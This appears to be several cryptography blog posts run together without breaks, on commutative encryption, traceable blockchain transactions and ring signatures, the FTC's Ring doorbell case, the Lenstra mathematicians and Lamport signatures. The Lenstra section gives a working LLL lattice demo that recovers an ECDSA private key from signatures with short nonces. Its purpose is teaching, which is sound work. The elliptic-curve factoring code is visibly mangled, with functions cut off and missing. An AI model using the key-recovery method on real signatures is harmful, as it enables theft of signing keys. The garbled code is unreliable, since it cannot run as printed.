A simple application: Booking a ticketWith the ever increasing number of breaches, we are moving to a world where companies should not hold any personally sensitive information, as it is just too risky. So how could we create a trustworthy system, where someone can show up with a ticket, and where we can trust it, without actually revealing any personal information about where the person has booked their seat?
So how can we generate a receipt of the booking, but not give away your identity, or the details of the booking? Let’s take an example of booking a seat in a theatre at the festival, and how your privacy can be respected, but where the theatre will trust the ticket.
Let’s say there are 100 seats in a theatre, and I want to book one of them, but I don’t want the theatre company to know which seat I’ve booked, or my identity. I also want a receipt of purchase that they can verify my booking. One way would be to get a trusted agent to look after the bookings, but I don’t trust them either. So how can we do this?
Well it can be done with commutative encryption.
The steps would be:
So here is an example where the theatre encrypts all the seats with its key, the person then selects one, and encrypts with their key, and sends them all back again. Then the theater decrypts the one that has changed, and sends it back for the person to decrypt, and we have a booking. The theatre thus does not know who has booked the seat:
Commutative encryption using ChaCha20ChaCha20 is a stream cipher, and where we created pseudo infinitely long encryption key, and the just XOR it with the plain text.
With commutative encryption, we can decrypt with the keys in any order. Normally we would encrypt with Bob’s key and then encrypt with Alice’s key, and then we must decrypt with Alice’s key and then Bob’s. In commutative encryption, we can decrypt in any order.
With a stream cipher, we can automatically apply commutative as we basically just EX-OR with the key stream. In the following we use Go code, and where Bob encrypts, Alice encrypts, Bob decrypts, and then Alice decrypts [here].
And a sample run [here]:
Input text: HelloBob passphrase: qwertyAlice passphrase: 123456Input text: HelloBob keygen: 65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5Alice keygen: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92Cipher after Bob encrypt: d9eef8ecdcCipher after Alice encrypt: 7a5dcd0f43Cipher after Bob decrypt: ebd6598ff0Cipher after Alice decrypt: 48656c6c6fDecrypted text: HelloWe can easily extend the method to Carol, Trent, and so on. In my simple example I have used the same nonce for Bob and Alice, but in real life they would use different values, and these would be random for every transaction.
Commutative encryption using SHAKE-128NIST chose Keccak as the standard for SHA-3. But, it’s all a bit confusing, as there are two main versions of this: Keccak and SHA-3. Many systems, such as Ethereum have adopted Keccak, while others go for SHA-3. The only real difference between them is a difference in the padding of data. An eXtendable-Output Function (XOF) produces a bit string that can be of any length. In fact, we can create an infinitely long bit string, if required. The main methods are SHAKE128, SHAKE256, BLAKE2XB and BLAKE2XS. With the SHA-3 hashing method, we have four different cryptographic hashing methods (SHA3–224, SHA3–256, SHA3–384, and SHA3–512) and two XOF functions (SHAKE128 and SHAKE256).
With commutative encryption, we can decrypt with the keys in any order. Normally we would encrypt with Bob’s key and then encrypt with Alice’s key, and then we must decrypt with Alice’s key and then Bob’s. In commutative encryption, we can decrypt in any order. While our symmetric key block ciphers cannot be made commutative, we can use stream ciphers, as they perform an EX-OR function. In this example we will use the SHAKE128 or SHAKE256, and generate Bob and Alice’s key.
https://asecuritysite.com/commul/comm_stream
Communicative encryption using SRAWith maths, operators such as multiplication are commutative, such as:
3 x 5 x 4 = 4 x 5 x 3In encryption, most operations are non-commutative, so we need to modify the methods. One way is to use RSA, but generate two keys which have shared p, q and N values. So we generate Bob and Alice’s keys using the same two prime numbers (p and q), so that they share the same N value (modulus).
So let’s start with Bob:
Let’s select: P=7, Q=13The calculation of n and PHI is:
N = 7 x 13 = 91 PHI = (P-1)(Q-1) = 72We need to make sure that our encryption key (e) does not share any factors with PHI (gcd(PHI,e)=1). We can select e as:
e = 5Next we can calculate d from:
(d x 5) mod (72) = 1The answer is 29 [Solve]
d= 29, e=5, N=91Encryption key [91,5]Decryption key [91,29]Now for Alice. We have:
N = 7 x 13 = 91PHI = (P-1)(Q-1) = 72We can select e as (and should not share any factors with PHI):
e = 7Now we must solve:
(7 x d) mod (72) = 1For this we get 31 [Solve]
Alice’s keys are then:
d= 31, e=7, N=91Encryption key [91,7]Decryption key [91,31]An example of this is here:
https://asecuritysite.com/commul/comm2
Commutative encryption using Massey-OmuraAs we have seen, commutative encryption allows us to decrypt in any order. For this we can use Massey–Omura Cryptosystem and generate encryption keys which share a prime number.
One classic patent for commutative encryption was written by James Massey and Jim K. Omura created the Massey–Omura Cryptosystem in 1982 [1]. It took over three years to be assigned and was assigned to Omnet Associates [here]:
It uses exponentiation in the Galois field GF(2^n) for both the encryption and decryption functions. In this, if we have a message of M, the encryption is:
and
This are operated on with the Galois field. For this we define e within:
and we make sure that e does not share a factor with 2^n-1 using:
The decryption exponent d is defined as:
This works because the multiplicative group of the Galois field GF(2^n) has order 2^n−1, and where Lagrange’s theorem defines that m^{de}=m for all the values of m in GF(2^n). The coding is here [link]:
import libnumimport randomimport sysfrom Crypto.Util.number import getPrimefrom Crypto.Random import get_random_bytesdef chunkstring(string, length): return (string[0+i:length+i] for i in range(0, len(string), length)) def generate_keys(prime): while True: e = random.randint(0, prime-2) if libnum.gcd(e, prime-1) == 1 and e > 2: break d = libnum.invmod(e, prime-1) return e,ddef crypt(chunk, key,prime ): num = 0 for c in chunk: num *= 256 num += ord(c) res = pow(num, key, prime) vect = [] for i in range(0, len(chunk)): vect.append(chr(res%256)) res = res // 256 return "".join(reversed(vect))primebits=64msg = "HellHe"if (len(sys.argv)>1): primebits=int(sys.argv[1])if (len(sys.argv)>2): msg=(sys.argv[2])FRAGMENT_SIZE = primebits//8msg = msg + " "*((FRAGMENT_SIZE - (len(msg)%FRAGMENT_SIZE))%FRAGMENT_SIZE)res=chunkstring(msg,FRAGMENT_SIZE)PRIME = getPrime(primebits, randfunc=get_random_bytes)e,d = generate_keys(PRIME)vect=[]for elem in res: enc=str(crypt(elem, e,PRIME)) vect.append(enc)enc="".join(vect)dec=[]for elem in chunkstring(enc, FRAGMENT_SIZE): dec.append(crypt(elem, d,PRIME))print (f"Msg={msg}")print (f"e={e}, d={d}")print("Decrypted: " + "".join(dec))A sample run is [link]:
Msg=Hello e=16153579288865179167, d=10300837874192230633Decrypted: HelloOne of the advantages of the Massey–Omura Cryptosystem is that we can apply commutative encryption. In this way, Bob may have keys of (e_b,d_b) and Alice has keys of (e_a,d_a). We can then apply the keys in any order, such as encrypting with e_a and then encrypting with e_b, and where we can then decrypt with d_a and then decrypt with d_b, or decrypt with d_b first and then decrypt with d_a (as we would normally do).
To encrypt:
Cipher=E(a_b,E(e_a,M))=E(e_a,E(e_b,M))
To decrypt:
E(d_b,E(d_a,Cipher))=E(d_a,E(d_b,Cipher))
Here is an example:
https://asecuritysite.com/commul/massey2
ConclusionsCommunative encryption is a great way of applying multiple keys to encryption data, and then for them to be removed in any order that is required. It is a little like how data is encrypted in the Tor network, but that requires the keys to be removed in the reverse order they were applied. In a future podcast, I will explain how the Tor network works.
Introduction
Privacy and traceability are two sides of the same coin, and where the coin will never land on its side. If you want privacy in a transaction, you have to hide the payer and payee and the transaction value. All that needs to happen is that there is proof that the payer has enough currency to pay the payee. We can do this with a range proof — so that Bob can show that the sum of his previous transactions minus the current one is greater than zero. But, this stops any traceability and stops investigators from investigating the trail of an illegal transaction. It’s a dilemma that can keep cybersecurity professionals awake at night and where a few bad apples can spoil the whole bunch.
But, if we add traceability — such as in Bitcoin — we remove the privacy aspect, and if someone links your Bitcoin address to you and the others you trade with, they will be able to see all your transactions. “Ah, I see”, they might say, “That Bill has just bought a ticket for a bus journey in Edinburgh at 10:03 am”.
Along with this, we have different requirements in different jurisdictions and where we might want to limit the investigator power in one jurisdiction to others.
For this, John Gilmore — one of the original Cipher Punks — wrote:
“We are literally in a race between our ability to build and deploy technology, and their ability to build and deploy laws and treaties. Neither side is likely to back down or wise up until it has definitively lost the race”
And, so, the tension between strong cryptography, which protects privacy, and the ability to monitor and investigate remains as open as ever. In the UK, the Online Safety Act could aim to insert backdoors in cryptography in order to monitor communications.
So, is it possible to keep things private but also make them traceable? For this, a new paper outlines the TRCT (Traceable Anonymous Transaction Protocol for Blockchain) protocol [1]:
The focus of the paper is on the anonymous cryptocurrencies such as Monero, Dash and ZCash. It uses an Extractable Proof of Knowledge (EPoK) to produce a Zero Knowledge Proof (ZKP) for a transaction. This can then be added to the RingCT method of anonymity to produce traceable transactions for the participants and the amount transacted. The transaction, though, is still kept anonymous.
The paper pinpoints the usage of Monero in a number of crimes, such as for the Wannacry ransomware attack and where the adversaries converted their Bitcoin rewards into Monero tokens [here], and which has not been since been traced. This problem has become so difficult for law enforcement that privacy-protecting cryptocurrencies have been banned in Canada, South Korea and Australia.
TRCTAn overview of TRCT is defined in Figure 1. With this, we have a miner which collects broadcasted transactions, and creates a consensus with other miners. An Authority is then responsible for linking account addresses and transactions and which can trace anonymous account addresses of the actual payer and payee and resolve the transaction amount.
For TRCT, the payer generates a long-term key pair and then creates a one-time address (Figure 1). This can then be sent to the payer. The transaction is then anonymised for the payer address, payee address and transaction value using the Ring CT protocol, and which integrates the EPoK scheme. The miner then receives this and checks that it is valid and that the payer has enough currency in their account to make the payment. Next, the miner will check the EPoK so that it can be traced by the authority — and without discovering the secret details in the transaction. The authority can then trace the hidden content in the transaction (Figure 2).
Figure 1 [1] Figure 2: [1]While applied in RingCT, the TRCT can be generally applied to any permissionless and permissioned blockchain, as it does not affect the underlying logic of the blockchain. In this, a trusted authority creates a tracing key and publicises its public key to the miners and whether these miners may be enabled or not for the integration of EPoK. In a permissioned blockchain, there are typically fewer nodes that create the consensus, and where it is thus easier to broadcast and update the tracing key. Overall, the authority is then used to oversee all the transactions, and decide whether there are illegal transactions, and also trace them.
The control of the tracing key can then use attribute-based encryption to control its usage and using threshold-based sharing to control the usage of the key. For example, the FBI, CIA and GCHQ could agree on a 2-from-3 share approach, where two agencies have to come together to regenerate the tracing key. This approach allows for different jurisdictions to generate their own tracing key and where they cannot trace within any other jurisdiction. The addition of tracing tags also allows the tracing of high-value transactions.
Next, let’s cover ring signatures and RingCT.
Ring signaturesAnd so there has been a leak of information at the White House. Donald Trump calls in his Cyber Security leads and tells them, “I know one of you leaked the information, but I can’t tell which one”. How can Donald tell that one of his leads has leaked the information but does not know which one? Well, this can be achieved with a ring signature, and which provides anonymity, unforgivably and collusion resistance.
A ring signature is a digital signature that is created by a member of a group which each has their own keys. It is then not possible to determine the person in the group who has created the signature. The method was initially created by Ron Rivest, Adi Shamir, and Yael Tauman in 2001, and in their paper, they proposed the White House leak dilemma.
Creating the ringIn a ring signature, we define a group of entities who each have their own public/private key pairs of (P1, S1), (P2, S2), …, (Pn, Sn). If we want an entity i to sign a message (message), they use their own secret key (si), but the public keys of the others in the group (m,si,P1…Pn). It should then be possible to check the validity of the group by knowing the public key of the group, but not possible to determine a valid signature if there is no knowledge of the private keys within the group.
So let’s say that Trent, Bob, Eve and Alice are in a group, and they each have their own public and secret keys. Bob now wants to sign a message from the group. He initially generates a random value v, and then generates random values (xi) for each of the other participants, but takes his own secret key (si) and uses it to determine a different secret key, which is the reverse of the encryption function.
He now takes the message and takes a hash of it, and thus creates a key (k). This key will be used with symmetric encryption to encrypt each of the elements of the ring (Ek), and then each element of the ring uses an EX-OR function from the previous element:
Each of the random values for the other participants is then encrypted with the public key of the given participant. Bob then computes the value of ys in order to create the ring (the result of the ring must equal v). He will then inverse this value to produce the equivalent private key (xs). Bob now releases the overall signature, and the random x values, along with the computed secret key. To check the signature, the receive just computes the ring and checks that the result matches the sent signature.
The basic method are:
1. Generate encryption with k=Hash(message).
2. Generate a random value (u).
3. Encrypt u to give v=Ek(u).
4. For each person (apart from the sender):
5. For the signed party (z), calculate sz=(v⊕u)^d (mod Nz) and where d is the secret key of the signing party.
We will end up with the signature (v=Ek(u)), and which completes the ring.
The basic method involves creating Bob creating fake private keys for the other people in the ring:
The verification of the ring is then:
Ring Signatures in MoneroThe major problem with the Bitcoin network is that the amount of a transaction and the sender and receiver of the funds are not private, and someone who knows someone’s address can trace their transactions. This is the case because the blockchain needs to check that the sender has enough funds to pay the recipient. Thus many cryptocurrencies are looking for ways of anonymising the transaction. Ethereum, for example, uses zk-Snarks to hide identities.
One method of preserving identity was proposed by Rivest et al and used RSA encryption. Unfortunately, it is not efficient for modern systems, thus, Greg Maxwell’s defined an elliptic curve method as a new way of creating the ring signature: the Borromean ring signature [paper].
The cryptocurrency Monero then adopted the method for anonymising transactions but has since migrated to a new method: Multi-layered Linkable Spontaneous Anonymous Group signature. This method hides the transaction amount and the identity of the payer and recipient [paper]. It is now known as RingCT (Ring Confidential Transactions), and was rolled out in January 2017 and mandatory for all transactions from September 2017.
ConclusionsTRCT provides a roadmap for the integration of tracing keys and the segmentation of rights of access. It is unlikely that we will see the implementation of this method is Monero anytime soon, but it could be applied to new methods. It is only interesting to see it applied to permissioned blockchains, and it could be useful in banking applications which require privacy but traceability.
References[1] Duan, J., Wang, L., Wang, W., & Gu, L. (2023). TRCT: A Traceable Anonymous Transaction Protocol for Blockchain. IEEE Transactions on Information Forensics and Security.
I know the title sounds like one of those adverts that say,
“Did you buy a car between 1890 and 2023, then you can get compensation, because they didn’t tell you that you needed to put fuel in your car! In fact, you don’t even have to have bought a car or bought anything; you just have to show that you are still breathing, and you might still also get it. Call us now!Before COVID-19, I used to demonstrate live at conferences the Ring doorbell and showcase weak practices. The video wasn’t encrypted at all, and where I could easily view it. Along with this, user credentials were left unencrypted. But, after we went into lockdown, it was not so easy to give practical demonstrations, so I’ve not done a demo for a few years. But you will be glad to know that I’m all set up for hacks on electrical sockets, doorbells, kettles, door locks, and many other things, so if your company wants a demo, please get in contact.
Overall, I have found that for the balance between useability/ease of setup, and security, most companies go for useability/ease of setup, as they know their users are often not that technical. Now, it has been shown that there are thousands of customers of the Ring doorbell that have been affected by cyberattacks.
For this, Amazon will have to pay out $5.8 million in payments to around 55,000 customers for its weak data security practices. For this, it has been well known that some employees at Amazon had been spying on user videos:
It was also found that there was no encryption on the video streams and that credentials were sent in a plaintext format. There were also attacks on previously breached passwords or in using repeated attempts at guessing credentials. Normally, this type of practice would be defended with a lock-out policy or by monitoring password usage, and which was weakly implemented. The case was brought by the FTC (Federal Trade Commission) in a federal court [here]:
It is thought that 1,250 devices were breached with passwords, that the live stream was compromised, and that there were at least 20 cases that involved a breach of over one month. The suit outlines cases involving screaming obscenities, demanding ransoms, and threatening murder and sexual assault [here], and covers those who bought Ring doorbells between 2015 and 2019 — even if they have not been hacked. These will be used to pay for refunds for the doorbell and requires that Amazon delete all the video information gathered and any user credentials. Amazon will also have to inform the FTC about future incidents.
Along with this, the FTC reported that Amazon failed to encrypt video streams from 2016 and 2020, along with no encryption for user credentials and details, and failed to get user consent for the viewing of video streams. Also, they failed to provide adequate training for their staff in supporting the Ring doorbell. In 2021, though, Amazon finally implemented encryption and proactive monitoring on the product [here]:
Alongside this, Amazon will also have to pay $25 million for Alexa with the FTC Act and Children’s Online Privacy Protection Act by retaining children’s information without parental permission. Amazon will also be required to stop using geolocation, voice information, and children’s voice information for any product improvement purposes.
ConclusionsWhen ease of use and usability are placed before cybersecurity, there’s likely to be a storm brewing. I like Apple devices, as they seem to be able to span both sides of this. My demos for Ring, though, don’t work anymore, but I’ve got many other things to showcase.
Overall, one bad product implementation can taint a whole brand. Amazon needs to watch that its Ring doorbell doesn’t give the company a bad name, as it has its e-commerce and cloud infrastructure to look after.
A guest talk on Quantum Computing and Impact On Public Key Encryption by Professor Alan Woodward.
Related blog: https://medium.com/asecuritysite-when-bob-met-alice/mathematics-in-the-blood-the-lenstra-family-bf188c686e74 Introduction I know it’s a strange question to pose, but which family has most advanced the Internet and Cybersecurity? Well, the Lenstra family has a strong claim to that title. From their Dutch roots, they have contributed so much to our modern world — both from a theoretical and a practical point of view. I suppose there’s something in the nature of the Dutch that not only wants to solve real problems, but do it in a scientific way. That approach is also the beating heart of academic research — to take major problems and solve them through collaborative efforts, and where each researcher breaks solves part of the puzzle. The Internet — and in fact our modern world — has been created through the coming together of all the amazing work of researchers over many decades.
Meet the Cryptography and Problem-Solving BrothersMy grandfather was an electrician, and my father was one too. I suppose electrical things are in my blood. It was where I started my career, and I have always had a love for everything that relates to electrons. I must admit I gave myself a little too many electrical shocks when I was a child, as the temptation to take things apart just seemed too strong for me. And, it still amazes me that we often just take electricity — and all its applications in our modern world — for granted. Where would we be without our control of electricity and all things electrical? You certainly wouldn’t be reading this article, now.
So, sometimes, there’s something in our blood that defines our future careers. And for the Lenstra family that was certainly the case, and from their Dutch roots, Hendrik, Arjen, Andries and Jan Karel have become important mathematicians.
One of the most famous of the brothers for those who have studied networking is the mighty Jan Karel Lenstra (J.K. Lenstra) and whose many major breakthroughs include scheduling, local searches and the travelling salesman problem. We can thus all thank Jan for his work on routing problems, and which led to the creation of routing protocols on the Internet:
The solving of the routing problem on the Internet, allowed the Internet to scale to levels that we see now, and where we have almost instant access to information from any part of the planet. We can thank J.K. Lenstra for providing that foundation.
Arjen followed a cryptography focus for his work, including many classic papers such as those related to the factorization of polynomials and a famous paper entitled “Ron was wrong. White is right” [here]:
But, Arjen’s most cited paper included his brother (Hendrik W. Lenstra Jr.) as a co-author [3]:
And, in these days of Microsoft Word and LaTeX, don’t you just love the pen markup on the paper? The brothers also collaborated on another classic paper — and which included the mighty J.M Pollard [2]:
Lenstra–Lenstra–Lovász (LLL)When the two brothers worked together they created some of their best work, and it was the classic Factorizing Polynomials with Rational Coefficients paper [3] that led to the Lenstra–Lenstra–Lovász (LLL) method [paper]. The paper also included mighty Laszlo Lovász [here] (who has an h-index of 109):
This will use this method — defined as Lenstra–Lenstra–Lovász (LLL) — to crack the signature, and discover the private key used to digitally sign the message. This will search for the private key that has been used to sign a message with ECDSA. In this case we will generate two signatures, and then search for a private key.
One of the most common signatures is ECDSA (Elliptic Curve Digital Signature Algorithm) and which is used with Bitcoin and Ethereum. With this, Bob creates a random private key (priv), and then a public key from:
Next, in order to create a signature for a message of M, he creates a random number (k) and generates the signature of:
The signature is then (r,s) and where r is the x-co-ordinate of the point kG. H(M) is the SHA-256 hash of the message (M), and converted into an integer value. If the k value is revealed for any of the signatures, an intruder can determine the private key using:
This works because:
and so:
and for priv:
We can then use the code [here] to implement a searching method based on LLL:
import ecdsaimport randomimport libnumimport olllimport hashlibimport sys# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/ G = ecdsa.NIST256p.generatororder = G.order()print ("Curve detail")print (G.curve())print ("Order:",order)print ("Gx:",G.x())print ("Gy:",G.y())priv = random.randrange(1,order) Public_key = ecdsa.ecdsa.Public_key(G, G * priv)Private_key = ecdsa.ecdsa.Private_key(Public_key, priv) k1 = random.randrange(1, pow(2,127))k2 = random.randrange(1, pow(2,127))msg1="Hello"msg2="Hello1"if (len(sys.argv)>1): msg1=(sys.argv[1])if (len(sys.argv)>2): msg2=(sys.argv[2])m1 = int(hashlib.sha256(msg1.encode()).hexdigest(),base=16)m2 = int(hashlib.sha256(msg2.encode()).hexdigest(),base=16) sig1 = Private_key.sign(m1, k1)sig2 = Private_key.sign(m2, k2)print ("\nMessage 1: ",msg1)print ("Message 2: ",msg2)print ("\nSig 1 r,s: ",sig1.r,sig1.s)print ("Sig 2 r,s: ",sig2.r,sig2.s)print ("\nk1: ",k1)print ("k2: ",k2)print ("Private key: ",priv)r1 = sig1.rs1_inv = libnum.invmod(sig1.s, order)r2 = sig2.rs2_inv = libnum.invmod(sig2.s, order) matrix = [[order, 0, 0, 0], [0, order, 0, 0],[r1*s1_inv, r2*s2_inv, (2**128) / order, 0],[m1*s1_inv, m2*s2_inv, 0, 2**128]] search_matrix = olll.reduction(matrix, 0.75)r1_inv = libnum.invmod(sig1.r, order)s1 = sig1.s for search_row in search_matrix: possible_k1 = search_row[0] try_private_key = (r1_inv * ((possible_k1 * s1) - m1)) % order if ecdsa.ecdsa.Public_key(G, G * try_private_key) == Public_key: print("\nThe private key has been found") print (try_private_key)A sample run is [here]:
Curve detailCurveFp(p=115792089210356248762697446949407573530086143415290314195533631308867097853951, a=-3, b=41058363725152142129326129780047268409114441015993725554835256314039467401291, h=1)Order: 115792089210356248762697446949407573529996955224135760342422259061068512044369Gx: 48439561293906451759052585252797914202762949526041747995844080717082404635286Gy: 36134250956749795798585127919587881956611106672985015071877198253568414405109Message 1: helloMessage 2: goodbyeSig 1 r,s: 115147473306387600780958700123813228515236063210926878166205132442387398405974 78422551211706787416844282162734821752165856246967039833155909830188362436931Sig 2 r,s: 72928835934664146344187979593177679887058837944881110039604237325952057142506 34831214671095490475430891005520988929988430486970993941519827388518136205821k1: 2238116107289725910464212774221939217k2: 23155266189808659522258191324208917771Private key: 3126769432554995310932591745910468237140199425344791317304188208833915624553It is a truly fantastic paper, and well worth a read.
In December 2019, a team led by Paul Zimmermann of INRIA announced the factorization of the largest ever RSA modulus (RSA-240):
RSA-240 = 124620366781718784065835044608106590434820374651678805754818788883289666801188210855036039570272508747509864768438458621054865537970253930571891217684318286362846948405301614416430468066875699415246993185704183030512549594371372159029236099RSA-240 = 509435952285839914555051023580843714132648382024111473186660296521821206469746700620316443478873837606252372049619334517 × 244624208838318150567813139024002896653802092578931401452041221336558477095178155258218897735030590669041302045908071447The factorization involved factorizing a 795-bit integer into its prime number factors. It caused industry experts to define that RSA would only be safe with at least 2,048-bit keys. Actually it was Arjen, in the 1990s, who was the first to crack the early RSA challenges, and managed to factorize 330 (100 decimal digits), 364, 426 and 430 bit modulus values [here]:
Factorizing with elliptic curvesHendrik W. Lenstra Jr. became a Professor at the University of Amsterdam in 1979, and then, in 1987, he appointed to the University of California, Berkeley. One of his most famous PhD students is Daniel J. Bernstein [here], who is famous for producing standards such as Curve 25119, ChaCha20 and Poly1305. In the year Hendrik was appointed to Berkley, he outlined a method to factorize integrations using elliptic curve methods [1]:
The security of several public key methods rely on the difficulty in factorizing a modulus created from the multiplication of large prime numbers. RSA is a good example of this, and where we take two large prime numbers (p and q), and multiply them to create a modulus (N). The difficulty is then to be able to find p and q, if we know N. The two core methods we can use for this factorization are the general number field sieve (GNFS) method and ECM (Elliptic Curve Method).
ECMWith his method, we define the moving from a point P on an elliptic curve to 2P. For this we find the tangent to the point P and use this to find 2P. This tangent will be defined with a slope (s) and with a gradient in the form of a/b. For this we must find the modular inverse of b. If we cannot find the modular inverse of b, a factor of N is gcd(N,b), and where gcd() is the greatest common denominator.
If our curve is y²=x³+ax+b, the slope (s) will be:
as defined in differentiation. In detail, we first pick a random point P=(x0,y0) on an elliptic curve of:
We also select a random value of A and then calculate:
For two points on the curve: P=(Px,Py) and Q=(Qx,Qy) , the slope of the line between them will be:
With this we have s in the form of a/b (modN) .
Next we define:
and using:
If Px=Qx and Py=−Qy, we define as 0 [Identity], else we calculate R=P+P=2P=(Rx,−Ry):
Here are some test runs:
An outline of the code used is [code]:
#!/usr/local/bin/python# -*- coding: utf-8 -*-import mathimport random import sys#y^2=x^3+ax+b mod n prime=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271 ]# ax+by=gcd(a,b). This function returns [gcd(a,b),x,y]. Source Wikipediadef extended_gcd(a,b): x,y,lastx,lasty=0,1,1,0 while b!=0: q=a/b a,b=b,a%b x,lastx=(lastx-q*x,x) y,lasty=(lasty-q*y,y) if a>=1 return [Ret,d]def ellipticFactor(N,m,times=5): for i in xrange(times): E,P=randomCurve(N); Q,d=mulPoint(E,P,m) if d!=1 : return d return Nfirst=Truen=455839if (len(sys.argv)>1): n=int(sys.argv[1])print n,'=',for p in prime: while n%p==0: if (first==True): print p, first=False else: print 'x',p, n/=pm=int(math.factorial(2000))while n!=1: k=ellipticFactor(n,m) n/=k if (first==True): print k, first=False else: print 'x',k, ConclusionsAnd, so, there’s something in the Dutch approach to solving real problems, and in using a scientific approach, and the Lenstra have highlight that as well as any other.
And for the factorizing of integers, the great public key methods of the past, may not scale well into the 2020s, especially as factorization becomes more powerful, and is actually beating Moore’s Law. If you are interested, here are other methods for factorization:
[1] Lenstra Jr, H. W. (1987). Factoring integers with elliptic curves. Annals of mathematics, 649–673.
[2] Lenstra, A. K., Lenstra, H. W., & Lovász, L. (1982). Factoring polynomials with rational coefficients. Mathematische annalen, 261(ARTICLE), 515–534.
[3] Lenstra, A. K., Lenstra, H. W., Manasse, M. S., & Pollard, J. M. (1993). The number field sieve. In The development of the number field sieve (pp. 11–42). Springer, Berlin, Heidelberg.
Demo: https://asecuritysite.com/hashsig/lamport
Introduction
I write this article in Medium and with its limited text editor, but I really would love to write it in LaTeX. Before the monopoly of Microsoft Word, there were document mark-up systems such as Lotus Manuscript, and where we had a basic editor to produce publishing-ready content. The GUI came along, and all the back-end stuff was pushed away from the user. For many, this is fine, but for those whose output is focused on sharing and dissemination of research, it is often the only way to work.
In research, LaTeX is King and is a fully formed method of laying out — and sharing — research outputs. In the past few years, we have published over 100 research papers, and not one of them has been created in Microsoft Word. And for this, I thank Leslie Lamport.
In fact, ask our kids about Newton, Faraday or Einstein, and they could probably tell you something about them. But ask them about Whitfield Diffie, Shafi Goldwasser, or Leslie B Lamport, and they would probably look quizzical? Their future world, though, is probably going to be built around some of the amazing minds that built the most amazing structure ever created … The Internet.
To Leslie LamportSo, I am so privileged to be an academic researcher. For me, teaching, innovation and research go hand-in-hand, and where the things I research into gives me ideas for innovation, and which I can then integrate these things into my teaching. The continual probing of questions from students also pushes me to think differently about things, and so the cycle goes on. But, we are all just building on the shoulders of true giants, and there are few larger giants than Leslie Lamport — the creator of LaTeX.
For me, every time I open up a LaTeX document, I think of the work he did on creating LaTeX, and which makes my research work so much more productive. If I was still stuck with Microsoft Office for research, I would spend half of my time in that horrible equation editor, or in trying to integrate the references into the required format, or in formatting Header 1 and Header 2 to have a six-point spacing underneath. So, for me, the contest between LaTeX and Microsoft Word is a knock-out in the first round.
And one of the great things about Leslie is that his work is strongly academic — and which provides foundations for others to build on. For this, he did a great deal on the ordering of task synchronisation, in state theory, cryptography signatures, and fault tolerance.
LaTeXI really can say enough about how much LaTeX — created in 1984 — helps my work. I am writing a few books just now, and it allows me to lay out the books in the way that I want to deliver the content. There’s no need for a further mark-up, as I work on the output that the reader will see. But the true genius of LaTeX is the way that teams can work on a paper, and where there can be async to GitHub and where version control is then embedded.
Overall we use Overleaf, but we’re not tie-in to that, and can move to any editor we want. But the process is just so much better than Microsoft Word, especially when creating a thesis. Word is really just the same old package it was in the 1990s, and still hides lots away, and which makes it really difficult to create content which can easily be changed for its layout. With LaTeX, you create the content and can then apply whatever style you want.
ClocksMany in the research community think that the quality measure of a paper is the impact factor of the journal that it is submitted to, or in the amount of maths that it contains. But, in the end, it is the impact of the paper, and how it changes thinking. For Leslie, in 1978, his paper on clocks changed our scientific world and is one of the most cited papers in computer science [here]:
Byzantine Generals ProblemIn 1981, Leslie B Lamport defined the Byzantine Generals Problem [here]:
And in a research world where you can have 100s of references in a paper, Leslie only used four (and which would probably not be accepted these days for having so few references):
Within this paper, the generals of a Byzantine army have to agree to their battle plan, in the face of adversaries passing in order information. In the end, we aim to create a way of passing messages where if at least two out of three of the generals are honest, we will end up with the correct battle plan. So why don’t we build computer systems like this, and where we support failures in parts of the system, or where parts of the system may be taken over for malicious purposes? And the answer is … no reason, it just that we are stuck with our 1970s viewpoint of the computing world, and everything works perfectly, and security is someone else’s problem to fix.
So, we need a system where we create a number of trusted nodes to perform a computation, and then an election process at the end to see if we have a consensus for a result. If we have three generals (Bob, Alice and Eve), we need two of them to be honest, which means we can cope with one of our generals turning bad:
In this case, Eve could try and sway Trent by sending the wrong command, but Bob and Alice will build a better consensus, and so Trent will go with them. The work can then be defined as MPC (Multiparty Computation) and where we have multiple nodes getting involved to produce the final result. In many cases, this result could just be as simple as a Yes or No, and as to whether a Bitcoin transaction is real or fake, or whether an IoT device has a certain voltage reading.
The Lamport SignatureSometime soon we perhaps need to wean ourselves of our existing public key methods and look to techniques that are more challenging for quantum computers. With the implementation of Shor’s algorithm [here] on quantum computers, we will see our RSA and Elliptic Curve methods being replaced by methods which are quantum robust. One method is the Lamport signature method and which was created by Leslie B. Lamport in 1979 [here]:
At the current time, it is thought to be a quantum robust technique for signing messages. When we sign a message we take its hash and then encrypt it with our private key. The public key is then used to prove it and will prove that we signed it with our private key. The Lamport signature uses 512 random hashes for the private key, and which are split into Set A and Set B. The public key is the hash of each of these values. The size of the private key is 16KB (2×256×256 bits) and the public key size is also 16 KB (512 hashes with each of 256 bits).
The basic method of creating a Lamport hash signature is:
This process is illustrated below:
We can use the Lamport method for one-time signing, but, in its core format, we would need a new public key for each signing. The major problem with Lamport is thus that we can only sign once with each public key. We can overcome this, though, by creating a hash tree which is a merger of many public keys into a single root. A sample run which just shows the first few private keys and the first public keys:
